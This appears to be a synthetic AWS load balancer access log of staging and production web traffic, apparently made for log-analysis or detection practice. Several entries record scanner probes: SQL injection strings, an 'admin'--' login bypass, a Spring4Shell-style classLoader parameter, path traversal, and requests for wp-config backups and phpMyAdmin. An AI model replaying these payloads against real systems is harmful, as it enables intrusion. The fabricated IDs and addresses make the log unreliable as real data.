arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce9a-9c1107adfd524447a004aad4" "staging-alb.example.com" "-" 3 2024-11-01T01:38:18.451243Z "forward" "-" "-" "246.148.146.29:80" "200" "-" "-" -http 2024-11-01T01:38:19.450703Z staging-alb 50.212.76.161:62653 153.24.182.133:80 0.114956 0.234895 0.064906 301 301 737 4650 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9b-18a17c34e0d84fa4aeaa1753" "staging-alb.example.com" "-" 2 2024-11-01T01:38:19.450703Z "forward" "-" "-" "153.24.182.133:80" "301" "-" "-" -https 2024-11-01T01:38:21.062086Z staging-alb 41.43.100.168:61852 218.42.106.151:443 0.093892 0.484693 0.026481 200 200 413 8082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9d-824c939fd03d4fab92a4f344" "staging-alb.example.com" "-" 9 2024-11-01T01:38:21.062086Z "forward" "-" "-" "218.42.106.151:443" "200" "-" "-" -http 2024-11-01T01:38:21.398189Z staging-alb 45.155.205.253:24273 15.231.77.220:8080 0.067537 0.715949 0.051507 403 403 230 11932 "GET /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9d-9b8bdded44e1473faf55452e" "-" "-" 10 2024-11-01T01:38:21.398189Z "forward" "-" "-" "15.231.77.220:8080" "403" "-" "-" -https 2024-11-01T01:38:22.032802Z prod-api-alb 228.251.200.154:42919 10.0.85.78:443 0.020933 0.307229 0.048486 200 200 21 7845 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce9e-a462dd83003c463d8f34067e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:22.032802Z "forward" "-" "-" "10.0.85.78:443" "200" "-" "-" -https 2024-11-01T01:38:23.937998Z prod-web-alb 128.148.210.202:27150 10.0.169.109:443 0.025024 0.342176 0.066495 200 200 973 8475 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce9f-8542820275de4fe7a23aa19c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:23.937998Z "forward" "-" "-" "10.0.169.109:443" "200" "-" "-" -https 2024-11-01T01:38:25.867366Z prod-web-alb 102.25.159.238:36498 10.0.7.150:443 0.026645 0.188142 0.088040 302 302 632 11682 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cea1-7c4149b0ea4141989a871a11" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:25.867366Z "forward" "-" "-" "10.0.7.150:443" "302" "-" "-" -https 2024-11-01T01:38:27.402007Z prod-web-alb 152.137.145.91:21436 10.0.124.216:443 0.086644 0.019366 0.070260 404 404 104 4764 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cea3-f5dcfc0ccf454ddc893c60a1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:38:27.402007Z "forward" "-" "-" "10.0.124.216:443" "404" "-" "-" -https 2024-11-01T01:38:27.720619Z staging-alb 134.163.25.115:50299 187.142.14.3:443 0.096927 0.545203 0.032599 200 200 487 4678 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cea3-d21ef81a44f14885a226b9f2" "staging-alb.example.com" "-" 7 2024-11-01T01:38:27.720619Z "forward" "-" "-" "187.142.14.3:443" "200" "-" "-" -https 2024-11-01T01:38:29.427813Z staging-alb 63.134.109.206:53749 55.82.237.2:80 0.107791 0.151675 0.127118 301 301 952 3430 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cea5-a71518eab3da427a8b2431a9" "staging-alb.example.com" "-" 3 2024-11-01T01:38:29.427813Z "forward" "-" "-" "55.82.237.2:80" "301" "-" "-" -https 2024-11-01T01:38:31.133554Z prod-api-alb 71.214.253.222:32934 10.0.194.14:443 0.080424 0.334149 0.040270 200 200 570 13292 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cea7-e933be5c9f8f440b82cc698f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:38:31.133554Z "forward" "-" "-" "10.0.194.14:443" "200" "-" "-" -https 2024-11-01T01:38:33.130283Z prod-api-alb 41.115.102.150:34403 10.0.45.162:443 0.045505 0.307940 0.003017 200 200 448 3357 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cea9-1756a26e75da4b769308e074" "prod-api-alb.example.com" "-" 5 2024-11-01T01:38:33.130283Z "forward" "-" "-" "10.0.45.162:443" "200" "-" "-" -https 2024-11-01T01:38:34.775165Z prod-api-alb 229.17.156.218:40505 10.0.56.182:443 0.069512 0.263187 0.093676 200 200 727 7647 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ceaa-9aeec2177c544319bc4170bf" "-" "-" 4 2024-11-01T01:38:34.775165Z "forward" "-" "-" "10.0.56.182:443" "200" "-" "-" -https 2024-11-01T01:38:36.456044Z prod-api-alb 36.115.20.124:62102 10.0.229.112:443 0.066557 0.411797 0.085986 200 200 937 12055 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceac-d915e8393d2b41329f802457" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:36.456044Z "forward" "-" "-" "10.0.229.112:443" "200" "-" "-" -https 2024-11-01T01:38:37.357141Z prod-web-alb 228.95.141.33:57215 10.0.87.157:443 0.009966 0.343992 0.080239 200 200 122 12142 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cead-0355fdf25a854c5a84e19df5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:38:37.357141Z "forward" "-" "-" "10.0.87.157:443" "200" "-" "-" -https 2024-11-01T01:38:37.893763Z prod-web-alb 203.126.81.12:25422 10.0.36.73:443 0.075319 0.145648 0.056053 404 404 838 13328 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cead-1d6e350459e54ea0b8382240" "prod-web-alb.example.com" "-" 5 2024-11-01T01:38:37.893763Z "forward" "-" "-" "10.0.36.73:443" "404" "-" "-" -https 2024-11-01T01:38:38.496021Z staging-alb 227.47.171.195:11136 141.251.87.119:8080 0.042981 0.557066 0.086904 302 302 660 6737 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ceae-31d5477e8edf44189b5e4863" "staging-alb.example.com" "-" 10 2024-11-01T01:38:38.496021Z "forward" "-" "-" "141.251.87.119:8080" "302" "-" "-" -https 2024-11-01T01:38:40.476095Z prod-web-alb 35.109.251.215:32587 10.0.85.224:443 0.011730 0.443688 0.022601 200 200 42 13261 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceb0-8c55ecf3c9b44a248ea54bb6" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:40.476095Z "forward" "-" "-" "10.0.85.224:443" "200" "-" "-" -https 2024-11-01T01:38:42.028230Z prod-api-alb 36.47.28.76:19661 10.0.160.93:443 0.053963 0.389119 0.070970 200 200 360 7289 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceb2-0d02ece41fb1486fbc577487" "prod-api-alb.example.com" "-" 2 2024-11-01T01:38:42.028230Z "forward" "-" "-" "10.0.160.93:443" "200" "-" "-" -https 2024-11-01T01:38:43.823592Z prod-api-alb 170.73.124.133:11549 10.0.157.59:443 0.092015 0.237444 0.023622 200 200 931 5675 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceb3-22eed78b262f4d88a102aa3d" "-" "-" 1 2024-11-01T01:38:43.823592Z "forward" "-" "-" "10.0.157.59:443" "200" "-" "-" -https 2024-11-01T01:38:44.541255Z staging-alb 193.27.228.17:57470 238.229.158.205:443 0.008417 0.290429 0.131658 500 500 619 7337 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb4-13d5e50dfc2b43f68ee018e5" "-" "-" 5 2024-11-01T01:38:44.541255Z "forward" "-" "-" "238.229.158.205:443" "500" "-" "-" -https 2024-11-01T01:38:45.287000Z prod-web-alb 75.47.230.147:51919 10.0.246.158:443 0.016695 0.413549 0.008265 302 302 526 745 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceb5-eed44101bdf146358e7b0194" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:45.287000Z "forward" "-" "-" "10.0.246.158:443" "302" "-" "-" -https 2024-11-01T01:38:47.065812Z staging-alb 221.239.89.250:17476 66.178.105.93:80 0.047342 0.465317 0.077051 301 301 527 13400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb7-e89cfa1c39cc476eb8fc3237" "staging-alb.example.com" "-" 3 2024-11-01T01:38:47.065812Z "forward" "-" "-" "66.178.105.93:80" "301" "-" "-" -http 2024-11-01T01:38:48.415027Z staging-alb 56.210.107.132:13878 9.253.199.224:443 0.141775 0.072290 0.072266 200 200 613 13532 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ceb8-a2f764ee4ee3448382451cda" "staging-alb.example.com" "-" 9 2024-11-01T01:38:48.415027Z "forward" "-" "-" "9.253.199.224:443" "200" "-" "-" -https 2024-11-01T01:38:48.726297Z prod-web-alb 45.155.205.156:52750 10.0.3.109:443 0.088118 0.358587 0.070580 500 500 379 10336 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ceb8-e094f4b7521541f88c06cd4b" "-" "-" 4 2024-11-01T01:38:48.726297Z "forward" "-" "-" "10.0.3.109:443" "500" "-" "-" -https 2024-11-01T01:38:49.533528Z staging-alb 66.252.35.98:46917 19.73.253.229:80 0.107859 0.044149 0.024122 200 200 841 10805 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb9-335818e9f9134d2db3eb2160" "staging-alb.example.com" "-" 9 2024-11-01T01:38:49.533528Z "forward" "-" "-" "19.73.253.229:80" "200" "-" "-" -http 2024-11-01T01:38:49.908483Z staging-alb 140.120.245.224:11612 222.177.127.236:80 0.076490 0.275415 0.049842 301 301 493 8337 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb9-87f7168afe9741ffb098d32a" "-" "-" 7 2024-11-01T01:38:49.908483Z "forward" "-" "-" "222.177.127.236:80" "301" "-" "-" -https 2024-11-01T01:38:50.016690Z prod-api-alb 193.27.228.79:32357 10.0.59.223:443 0.042624 0.014807 0.061361 301 301 450 4545 "POST /wp-config.php.bak HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceba-6592bd7ea5d34b98856833cb" "-" "-" 6 2024-11-01T01:38:50.016690Z "forward" "-" "-" "10.0.59.223:443" "301" "-" "-" -https 2024-11-01T01:38:51.745114Z prod-web-alb 55.181.107.147:17622 10.0.198.137:443 0.074756 0.043729 0.094779 302 302 412 4511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebb-56b3875bc96849659fb6adea" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:51.745114Z "forward" "-" "-" "10.0.198.137:443" "302" "-" "-" -https 2024-11-01T01:38:52.950231Z prod-web-alb 45.155.205.14:20931 10.0.17.140:443 0.036142 0.317212 0.055909 403 403 769 14955 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebc-3c418d68d1b841dbb7ebe365" "-" "-" 4 2024-11-01T01:38:52.950231Z "forward" "-" "-" "10.0.17.140:443" "403" "-" "-" -https 2024-11-01T01:38:54.603536Z prod-web-alb 162.151.11.2:44115 10.0.237.199:443 0.026411 0.314567 0.042889 200 200 249 4879 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebe-5abc2e8a05824b979e7c868d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:38:54.603536Z "forward" "-" "-" "10.0.237.199:443" "200" "-" "-" -https 2024-11-01T01:38:54.871101Z staging-alb 166.66.131.38:59133 79.202.171.33:80 0.058965 0.534719 0.140825 200 200 391 14680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cebe-cd8ca0b663d7492caecd3b8c" "-" "-" 10 2024-11-01T01:38:54.871101Z "forward" "-" "-" "79.202.171.33:80" "200" "-" "-" -https 2024-11-01T01:38:55.537779Z prod-web-alb 12.86.241.37:22209 10.0.121.193:443 0.087878 0.001515 0.004337 200 200 993 6758 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cebf-9ce41709e4664f86b3e363a4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:55.537779Z "forward" "-" "-" "10.0.121.193:443" "200" "-" "-" -https 2024-11-01T01:38:56.530563Z prod-web-alb 110.41.140.159:32314 10.0.130.36:443 0.047901 0.118633 0.079695 200 200 312 9989 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec0-41b860a32edc473783177f97" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:56.530563Z "forward" "-" "-" "10.0.130.36:443" "200" "-" "-" -http 2024-11-01T01:38:56.771097Z staging-alb 30.9.36.175:20940 212.72.198.247:443 0.002918 0.579665 0.049421 404 404 504 3219 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cec0-45045817226644fdb175d65f" "staging-alb.example.com" "-" 8 2024-11-01T01:38:56.771097Z "forward" "-" "-" "212.72.198.247:443" "404" "-" "-" -https 2024-11-01T01:38:57.984669Z staging-alb 161.244.10.243:60587 70.183.27.60:8080 0.034485 0.194436 0.094411 200 200 417 7959 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cec1-e6b1726243ca4bef8f8221ad" "staging-alb.example.com" "-" 2 2024-11-01T01:38:57.984669Z "forward" "-" "-" "70.183.27.60:8080" "200" "-" "-" -https 2024-11-01T01:38:58.375111Z prod-api-alb 14.52.98.130:10659 10.0.124.238:443 0.026109 0.444674 0.045241 301 301 258 11724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cec2-b978bf899ac445559f5d9054" "prod-api-alb.example.com" "-" 7 2024-11-01T01:38:58.375111Z "forward" "-" "-" "10.0.124.238:443" "301" "-" "-" -https 2024-11-01T01:39:00.284276Z prod-web-alb 41.23.188.101:46169 10.0.75.212:443 0.009523 0.331350 0.088173 302 302 127 14405 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec4-649bb725ca2d4f43a029172b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:00.284276Z "forward" "-" "-" "10.0.75.212:443" "302" "-" "-" -https 2024-11-01T01:39:01.820249Z prod-web-alb 231.182.247.112:18947 10.0.92.97:443 0.032005 0.298208 0.017043 301 301 987 2877 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec5-7b61da4701e44a73817fd1fb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:01.820249Z "forward" "-" "-" "10.0.92.97:443" "301" "-" "-" -https 2024-11-01T01:39:02.096327Z prod-web-alb 193.27.228.197:51646 10.0.111.79:443 0.069404 0.197199 0.052827 403 403 33 13127 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cec6-365eafcf0605418898248182" "-" "-" 0 2024-11-01T01:39:02.096327Z "forward" "-" "-" "10.0.111.79:443" "403" "-" "-" -https 2024-11-01T01:39:03.469408Z prod-web-alb 222.145.76.199:19557 10.0.176.5:443 0.064547 0.055061 0.042716 302 302 377 9841 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec7-d401ca26bf45415e920a1cf5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:03.469408Z "forward" "-" "-" "10.0.176.5:443" "302" "-" "-" -https 2024-11-01T01:39:04.957002Z prod-api-alb 58.87.217.68:35159 10.0.60.90:443 0.036138 0.469613 0.063570 200 200 192 13210 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cec8-2f6297d99c354b9090cb3eca" "prod-api-alb.example.com" "-" 7 2024-11-01T01:39:04.957002Z "forward" "-" "-" "10.0.60.90:443" "200" "-" "-" -https 2024-11-01T01:39:05.097260Z prod-web-alb 250.87.176.171:24487 10.0.227.170:443 0.029903 0.475682 0.021181 302 302 563 8241 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec9-08d75d5230204105a736a03e" "prod-web-alb.example.com" "-" 10 2024-11-01T01:39:05.097260Z "forward" "-" "-" "10.0.227.170:443" "302" "-" "-" -https 2024-11-01T01:39:06.029690Z staging-alb 35.203.45.29:57317 63.118.65.203:80 0.044899 0.240239 0.146157 302 302 828 6163 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceca-2cc98cb9f138418dbf9e2dd3" "staging-alb.example.com" "-" 2 2024-11-01T01:39:06.029690Z "forward" "-" "-" "63.118.65.203:80" "302" "-" "-" -https 2024-11-01T01:39:07.401197Z staging-alb 31.202.245.131:11048 165.46.167.142:80 0.007094 0.118101 0.063938 301 301 911 12668 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cecb-88c4fad19a3a418c8a8d1cda" "staging-alb.example.com" "-" 8 2024-11-01T01:39:07.401197Z "forward" "-" "-" "165.46.167.142:80" "301" "-" "-" -https 2024-11-01T01:39:08.602033Z prod-api-alb 92.192.130.96:39008 10.0.29.57:443 0.027105 0.453598 0.019031 302 302 795 5153 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cecc-64c9c158d81e4245bd3d8c3b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:39:08.602033Z "forward" "-" "-" "10.0.29.57:443" "302" "-" "-" -https 2024-11-01T01:39:08.964739Z prod-web-alb 104.52.123.186:14238 10.0.39.254:443 0.050187 0.074747 0.001548 200 200 427 2565 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cecc-a729dde3a82a4806be0b419f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:39:08.964739Z "forward" "-" "-" "10.0.39.254:443" "200" "-" "-" -https 2024-11-01T01:39:10.687170Z prod-web-alb 28.11.31.101:37798 10.0.94.40:443 0.026751 0.459565 0.043418 200 200 578 8991 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cece-9e3b21daaed340f4ac46c958" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:10.687170Z "forward" "-" "-" "10.0.94.40:443" "200" "-" "-" -http 2024-11-01T01:39:12.111288Z staging-alb 22.177.128.14:27693 142.139.37.171:80 0.078005 0.204628 0.108322 200 200 328 12267 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced0-114480ab0bf9498a9ebd4d38" "staging-alb.example.com" "-" 7 2024-11-01T01:39:12.111288Z "forward" "-" "-" "142.139.37.171:80" "200" "-" "-" -https 2024-11-01T01:39:13.201342Z prod-api-alb 19.122.170.61:26195 10.0.248.147:443 0.077747 0.162144 0.098783 302 302 36 9817 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 